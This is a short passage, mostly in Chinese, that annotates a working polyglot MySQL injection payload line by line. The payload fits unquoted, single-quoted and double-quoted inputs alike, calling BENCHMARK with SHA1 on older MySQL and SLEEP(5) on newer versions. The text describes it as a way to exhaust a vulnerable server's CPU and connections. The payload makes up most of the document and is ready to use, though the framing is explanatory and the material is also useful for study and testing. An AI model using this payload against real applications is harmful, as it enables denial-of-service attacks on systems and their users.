它的设计目的是不管输入框的值在旧版本的 MySQL 上是不带引号、单引号还是双引号,以及在较新版本上,休眠 5 秒,保持连接打开,都会对 CPU 造成严重影响。
在每种情况下,如果应用程序容易受到 SQL 注入攻击,则可能会执行拒绝服务攻击,因为长时间保持连接打开可能会导致服务器耗尽资源/可用连接。
-- if unquoted, it sees this:
IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5))
---and then ignores the rest, which appears commented:
/*
-- If it's single-quoted, it doesn't see the comment,
-- rather, it terminates the singlequote:
'
-- ...and then sees this:
XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR
--- ...and then sees the next part as a single-quoted string terinated in the client
'|
--but if it's a double-quoted, string, it sees the end double-quote:
"
-- ...and runs this:
XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR
---and then opens a doublequote to be closed in the client
"
-- This is the end of the comment opened in the case of the unquoted client string.
*/
在每种情况下,它都试图对 SHA1 函数的执行进行基准测试,这非常耗费 CPU。BENCHMARK
只是一个执行另一个表达式固定次数的函数。在这种情况下,它用于在主机上执行 CPU DOS。